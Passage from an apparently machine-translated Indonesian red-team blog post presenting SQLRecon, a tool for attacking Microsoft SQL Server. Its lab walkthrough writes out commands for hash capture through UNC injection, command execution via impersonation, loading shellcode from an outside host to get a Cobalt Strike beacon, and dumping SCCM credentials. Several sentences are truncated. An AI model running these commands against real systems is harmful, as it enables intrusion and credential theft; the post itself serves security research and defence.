Selama karier saya, saya memiliki kesempatan istimewa untuk mengintip di balik tabir beberapa organisasi terbesar di dunia. Dalam pengalaman saya, sebagian besar vertikal industri bergantung pada jaringan Windows perusahaan. Sebenarnya, hanya segelintir kesempatan di mana saya menjumpai implementasi jaringan zero-trust terdesentralisasi, lingkungan enterprise berbasis Linux, jaringan macOS, atau solusi pengganti Active Directory (FreeIPA).
Saat saya menavigasi jaringan perusahaan yang besar dan sering kali kompleks ini, adalah hal yang umum untuk menemukan Microsoft SQL Server, yang biasanya diterapkan untuk mendukung suatu fungsi bisnis. Bagi pembaca yang tidak terbiasa dengan SQL Server, singkatnya, ini adalah perangkat lunak basis data relasional yang biasanya dipasang di atas Windows Server. Tujuan utama SQL Server adalah menyimpan dan menyediakan data bagi aplikasi atau pengguna.
Postingan blog ini akan ulasan permukaan serangan yang disajikan oleh SQL Server, dan cara menyalahgunakan kesalahan konfigurasi dan kerentanan menggunakan alat X-Force Red
Kerentanan dan kesalahan konfigurasi di SQL Server telah didokumentasikan dengan baik. Sementara kelemahan ini tampaknya selalu ada, entah bagaimana pengerasan SQL Server terus sering diabaikan oleh tim defensif. Kebanyakan saya mengacu pada pengerasan konfigurasi yang mendasari dan mencegah akses sepele ke layanan.
Salah satu alasan yang masuk akal atas kelalaian ini adalah bahwa ada risiko yang lebih besar yang perlu diprioritaskan dan ditangani oleh organisasi. Akibatnya, penguatan Microsoft SQL Server sering terabaikan, karena mengutak-atik konfigurasi basis data produksi dapat menimbulkan masalah ketersediaan, yang kemudian dapat berkembang menjadi gangguan operasional dan pada akhirnya memengaruhi produktivitas bisnis.
Buletin industri
Tetap terinformasi tentang tren industri yang paling penting—dan menarik—tentang AI, otomatisasi, data, dan di luarnya dengan buletin Think. Lihat Pernyataan Privasi IBM®.
Langganan Anda akan disediakan dalam bahasa Inggris. Anda akan menemukan tautan berhenti berlangganan di setiap buletin. Anda dapat mengelola langganan atau berhenti berlangganan di sini. Lihat Pernyataan Privasi IBM® kami untuk informasi lebih lanjut.
Salah satu salah konfigurasi yang paling sering saya lihat di jaringan enterprise adalah bahwa objek domain apa pun yang terautentikasi dapat terhubung ke layanan SQL menggunakan akun berhak istimewa rendah. Ini hanya membutuhkan konteks domain yang valid. Dengan kata lain, token yang valid untuk pengguna domain atau akun komputer domain.
Untuk mengilustrasikan contoh, jika workstation pengguna bisnis biasa dikompromikan dan rute jaringan ada ke SQL Server yang salah konfigurasi, ada kemungkinan bagi musuh untuk:
Ini hanyalah beberapa contoh dari apa yang dapat dilakukan adversary ketika menilai SQL Server yang salah dikonfigurasi dalam konteks domain. Permukaan serangan yang disajikan oleh SQL Server akan selalu bergantung pada lingkungan dan konfigurasi yang Anda hadapi.
Dalam beberapa waktu terakhir, para operator red team benar-benar dimanjakan oleh beragam penyalahgunaan Active Directory yang dapat dimanfaatkan untuk meningkatkan hak istimewa dalam jaringan enterprise Microsoft. Namun, ketika tim pertahanan mulai mampu mengendalikan dan mengurangi kelemahan-kelemahan ini, jalur untuk melakukan eskalasi hak istimewa melalui penyalahgunaan Active Directory secara alami mulai berkurang.
Meski begitu, kami tetap maju dan menelusuri daftar serangan yang sudah menjadi pepatah itu, dengan optimisme mencari jalur eskalasi yang dapat membantu kami mencapai objektif kami. Saya agak enggan mengakui bahwa untuk waktu yang cukup lama, menyerang Microsoft SQL Server berada cukup jauh di daftar prioritas saya. Saya justru memilih untuk memprioritaskan hal-hal seperti ruang penyimpanan bersama, aplikasi web internal, perkakas DevOps, atau infrastruktur cloud. Anda mungkin sudah bisa melihat ke mana arah pembahasan saya...
Pada suatu saat di tahun 2022, saya sedang dalam sebuah pertunangan dan telah mencapai titik buntu setelah mencoba semua jalur eskalasi yang ada. Ini sebagian besar disebabkan oleh lingkungan yang sangat keras. Setidaknya, itulah yang saya pikirkan sebelum saya menemukan peternakan SQL Server besar, di mana harus ada kesalahan konfigurasi atau kerentanan.
Tanpa sepengetahuan saya pada saat itu, dan hanya setelah menulis postingan blog ini, saya menemukan bahwa Kaspersky menemukan bahwa serangan berulang menggunakan SQL Server telah meningkat sebesar 56% pada tahun 2022. Itu adalah jumlah yang mengejutkan.
Sebagai operator red team, saya sering berinteraksi dengan sistem yang telah saya kompromikan di jaringan klien menggunakan kerangka kerja command and control (C2). Klien-klien yang beruntung dapat kami layani biasanya memiliki program keamanan siber yang matang, tim pertahanan yang mumpuni, serta kontrol keamanan modern seperti solusi endpoint detection and response (EDR).
Ada beberapa alat yang dikembangkan selama bertahun-tahun untuk menyerang SQL Server. Yang selalu saya gunakan selama hari-hari pengujian pena saya adalah
Solusi EDR bisa menjadi lawan yang tangguh karena mereka sangat efektif dalam mendeteksi peralatan sumber terbuka berbahaya yang dirancang untuk keamanan ofensif, khususnya yang bergantung pada PowerShell. Bukan meremehkan alat post-exploit PowerShell, alat ini ada gunanya, tetapi tidak cocok untuk masalah yang saya hadapi.
Masalah yang saya hadapi dalam engagement saya adalah bahwa saya perlu menemukan cara untuk terhubung ke Microsoft SQL Server dan mulai memeriksanya untuk menentukan apakah ada salah konfigurasi atau kerentanan. Namun, menggunakan salah satu dari alat post-exploitation Microsoft SQL Server yang ada, yang bergantung pada PowerShell, akan menjadi cara pasti untuk tertangkap oleh tim pertahanan. Hal ini disebabkan oleh berbagai alasan yang tidak akan saya bahas secara detail, tetapi PowerShell bukanlah wadah yang ideal untuk melakukan serangan pasca-eksploitasi karena fitur keamanan seperti AMSI, mode bahasa terbatas, dan berbagai gaya pencatatan. Hal ini semakin diperburuk ketika solusi EDR serta kontrol pencatatan dan monitoring lainnya diterapkan.
Sebagai alternatif, operator red team sering memilih C# sebagai bahasa untuk mengembangkan alat pasca-eksploitasi dengan, karena menyediakan cara mudah untuk berinteraksi dengan kerangka kerja .NET bersama dengan API Windows.
Saya sama sekali bukan pengembang C# atau.NET, tetapi saya tahu cukup untuk menulis alat yang memecahkan masalah yang saya hadapi. Antre , toolkit C# SQL yang dirancang untuk pengintaian ofensif dan pasca-eksploitasi.
Penyedia Autentikasi
Modul Enumerasi
Eksekusi Perintah, Gerakan Lateral, dan Eskalasi Hak
Keamanan Operasional
Lainnya
Untuk informasi penggunaan yang mendetail mengenai masing-masing teknik, silakan merujuk ke wiki.
Untuk menyiapkan panggung untuk demonstrasi yang akan datang, saya akan mengoperasikan workstation Windows 10 yang dikompromikan milik Jeff Smith
Workstation Jeff memiliki rute jaringan ke tiga SQL Server, yang masing-masing menjalankan versi yang berbeda; 2016, 2019, dan 2022.
Tautan SQL telah dikonfigurasi antara
Selain itu, terdapat tautan Active Directory (ADSI) antara
Terakhir,
Gambar 1: Konfigurasi jaringan
Selain itu, saya akan memanfaatkan Cobalt Strike, yang merupakan kerangka kerja komando dan kontrol yang populer, untuk melakukan tugas pasca-eksploitasi dari stasiun kerja Jeff yang disusupi
Gambar 2: Mengeluarkan perintah whoami
Pada saat penulisan,SQLRecon domain, ada set SPN untuk beberapa akun yang berbeda, ini ditunjukkan pada tangkapan layar di bawah ini.
SQLRecon.exe /e:SqlSpns /d:kawalabs.local
Gambar 3: Menemukan SQL Server melalui koleksi SPN
Metode
SQLRecon.exe /a:WinToken /h:SQL02 /m:info
Gambar 4: Memperoleh informasi tentang SQL02
Terima kasih kepada Daniel Duggan(@_RastaMouse) atas kontribusinya pada modul enumerasi di
Modul Standar dieksekusi terhadap satu instance SQL Server.
Dalam contoh berikut, saya menggunakan
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:whoami
Gambar 5: Menghitung hak istimewa SQL untuk
Secara default,
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases
Gambar 6: Menghitung basis data pada
Anda dapat terhubung ke basis data lain dengan menentukan nama basis data dengan /
SQLRecon.exe /a:azuRead /d:kawalabs.onmicrosoft.com /Database:Payments /u:jsmith/P: xxxx /h:ecom01.database.windows.net /m:query /c: " pilih * dari cc; "
Gambar 7: Memperoleh data kartu dummy dari
Pindah ke beberapa modul yang lebih menarik,
SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\\172.16.10.19\Projects
Gambar 8: Injeksi jalur UNC
Pada tangkapan layar berikut, kita dapat melihat koneksi yang dibuat oleh
Gambar 9: Mendapatkan hash NetNTLMv2 untuk
SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe
Gambar 10: Demonstrasi pagar pembatas mencegah eksekusi perintah terjadi
Seperti yang terlihat pada gambar di atas, pagar pembatas eksekusi ditemui, dan pesan kesalahan diterima yang menunjukkan bahwa
SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp
Gambar 11: Demonstrasi pagar pembatas lain, di mana hak istimewa yang tidak memadai mencegah eksekusi perintah terjadi
Seperti yang diharapkan, hak istimewa yang rendah
Peniruan SQL adalah izin khusus yang pada dasarnya memungkinkan pengguna atau grup untuk beroperasi dengan izin pengguna lain, serta dengan izin mereka sendiri. Tangkapan layar berikut diambil dari konfigurasi backend
Gambar 12:
SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate
Seperti yang terlihat pada tangkapan layar di bawah ini,
Gambar 13: Menghitung akun yang dapat ditiru pada
Untuk mendemonstrasikan modul eksekusi perintah lain,
Modul peniruan selalu diawali dengan huruf
a:WinToken /h:SQL02 /i:sa /m:iEnableOle
Gambar 14: Mengaktifkan Prosedur Otomatisasi OLE menggunakan peniruan
Sekarang Prosedur Otomatisasi OLE diaktifkan
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \\172.16.10.19\Projects"
Gambar 15: Menggunakan PowerShell untuk membuat daftar direktori pada host jarak jauh
Seperti terlihat pada tangkapan layar di atas, sebuah objek dan metode OLE acak dibuat, perintah berbahaya kemudian dijalankan, dan objek-objek OLE tersebut dihancurkan. Ini disengaja karena kita tidak ingin meninggalkan bukti tindakan kita.
Pada tangkapan layar berikut, kita dapat melihat koneksi yang dibuat oleh
Gambar 16: Mendapatkan hash NetNTLMv2 untuk
Contoh berikut menunjukkan penggunaan peniruan untuk mengeksekusi
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist
Gambar 17: Mengaktifkan
Selalu merupakan praktik yang baik untuk mengembalikan konfigurasi ke keadaan semula.
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp
Gambar 18: Menonaktifkan Prosedur Otomasi dan
Gambar 19:
Mengonfigurasi tautan dari satu instance SQL Server ke yang lain sering membutuhkan satu set kredensial istimewa untuk membuat dan mengikat tautan. Ini bermanfaat bagi musuh karena memungkinkan perintah dieksekusi pada SQL Server yang ditautkan dalam konteks akun yang telah membuat koneksi. Hal lain yang perlu dipertimbangkan adalah bahwa server tertaut dapat tersegmentasi dari jaringan tempat musuh beroperasi. Kondisi ini dapat menghadirkan peluang untuk melintasi batas segmentasi dan memasuki zona jaringan dengan persyaratan keamanan yang lebih tinggi.
SQLRecon.exe /a:WinToken /h:SQL02 /m:links
Gambar 20: Menghitung SQL Server tertaut pada
Modul yang terhubung selalu diawali dengan huruf
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami
Gambar 21: Menghitung hak istimewa SQL yang dapat kita asumsikan
Seperti yang terlihat pada tangkapan layar di atas, kami beroperasi dalam konteks
Semua modul eksekusi di
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr
Gambar 22: Mengaktifkan integrasi CLR pada
Integrasi CLR memungkinkan rakitan kustom .NET untuk diimpor ke SQL Server. Rakitan ini disimpan di dalam stored procedure sebelum dieksekusi. Ini adalah serangan gerakan lateral yang bagus primitif.
Pada tangkapan layar berikut, saya membuat perakitan.NET yang kompatibel dengan SQL Server CLR khusus yang disebut
Gambar 23:
Jika Anda tertarik untuk mempelajari lebih lanjut tentang rakitan .NET yang kompatibel dengan SQL Server CLR, silakan kunjungi bagian Clr dari
Dalam demonstrasi berikut, saya telah mengunggah
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode
Gambar 24: Memperoleh suar Cobalt Strike dalam konteks
Tentu saja, contoh sebelumnya mengharuskan
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\\172.16.10.19\Projects\Reports.xlsx /function:ExecuteShellcode
Gambar 25: Memperoleh beacon Cobalt Strike dalam konteks
Gambar 26:
Mengonfigurasi tautan ADSI dari sebuah instance Microsoft SQL Server ke Active Directory Domain Services tidak selalu memerlukan kredensial berhak istimewa. Namun, selama operasi dunia nyata, saya telah melihat kasus di mana prinsip hak istimewa paling sedikit belum diterapkan.
Dalam contoh berikut, saya menggunakan
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks
Gambar 27: Menghitung tautan pada
Sekarang kami telah memverifikasi bahwa tautan ADSI ada di
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103
Gambar 28: Serangan pengumpulan kredensial ADSI tautan ganda
Salah satu ekstensi terbesar untuk
Saya hanya akan merujuk ke ECM dan SCCM sebagai SCCM mulai saat ini dan seterusnya.
Dalam contoh berikut, saya menggunakan modul basis data untuk menghitung
SQLRecon.exe /a:WinToken /h:MECM01 /m:databases
Gambar 29: Menghitung basis data pada
Seperti yang terlihat pada tangkapan layar di atas,
Modul SCCM selalu diawali dengan huruf
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
Gambar 30: Menghitung semua pengguna yang dapat masuk ke SCCM melalui basis data SCCM SQL Server
Hal ini juga memungkinkan untuk menghitung tugas yang telah dikonfigurasi di SCCM dengan menggunakan
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
Gambar 31: Menghitung tugas yang dikonfigurasi di SCCM melalui basis data SCCM SQL Server
SCCM biasanya perlu menyimpan kredensial, yang digunakan untuk mengautentikasi ke sistem atau sumber daya di lingkungan untuk menerapkan paket perangkat lunak atau melakukan salah satu dari berbagai tindakan lain yang disediakan oleh SCCM. Menggunakan
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials
Gambar 32: Memperoleh kredensial berkubah melalui basis data SCCM SQL Server
Di tangkapan layar di atas, kita dapat melihat bahwa satu kredensial telah disimpan, dan ini adalah kredensial untuk
Dengan menggunakan logika milik Adam Chester (@_xpn_) , memungkinkan untuk mendekripsi kredensial SCCM yang disimpan dan memperoleh kata sandi jernih dari akun-akun tersebut. Ini memang memerlukan hak administrator lokal pada server SCCM. Dalam tangkapan layar berikut, saya menggunakan
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials
Gambar 33: Mendekripsi kredensial SCCM dalam vault
Untuk mencegah penyerang menyalahgunakan SQL Server, pembela dapat mengambil pendekatan berlapis saat menerapkan kontrol keamanan. Pertama dan terpenting, saya sangat menyarankan untuk membaca panduan resmi Microsoft tentang praktik terbaik keamanan SQL Server.
Perhentian berikutnya adalah panduan pencegahan, deteksi, dan mitigasi dalam
Kontrol keamanan berikut harus dipertimbangkan untuk implementasi di tingkat jaringan.
workstation dan server di lingkungan.
Serangan terhadap SQL Server terus relevan dalam lingkungan keamanan siber saat ini. Para pelaku ancaman terus mengembangkan teknik mereka untuk menghindari kontrol pertahanan, dan dalam prosesnya, mereka semakin sering mengeksploitasi layanan pendukung seperti SQL Server. Serangan ini telah menjadi lebih canggih dan lebih tersembunyi, sering menggunakan teknik yang kurang umum untuk melewati langkah-langkah keamanan tradisional.
Dengan menyalahgunakan SQL Server, musuh dapat memperoleh akses tidak sah ke data sensitif, memanipulasi basis data, dan bahkan membahayakan seluruh sistem. Konsekuensi dari serangan tersebut bisa parah, mengakibatkan pelanggaran data, kerugian finansial, dan kerusakan reputasi organisasi.
Untuk mengurangi risiko serangan ini, sangat penting bagi organisasi untuk melakukan ulasan konfigurasi SQL Server mereka dan mengadopsi praktik terbaik untuk keamanan. Selain itu, organisasi harus berinvestasi dalam solusi keamanan yang menyediakan pemantauan real-time, deteksi anomali, dan kemampuan analisis perilaku. Solusi ini dapat membantu deteksi dan menanggapi serangan dengan lebih efektif, meminimalkan dampak potensial pada data penting dan sistem. Dengan mengambil langkah-langkah proaktif untuk mengamankan lingkungan SQL Server, organisasi dapat secara signifikan mengurangi risiko menjadi korban serangan ini dan melindungi aset data berharga mereka.
Anda selalu dapat menemukan versi stabil terbaru
Jika Anda menghadiri Black Hat Las Vegas dan tertarik untuk mempelajari lebih lanjut, Anda dapat menghadiri sesi saya: Menyalahgunakan Microsoft SQL Server dengan SQLRecon pada hari Kamis, 10 Agustus pukul 1.00 PT.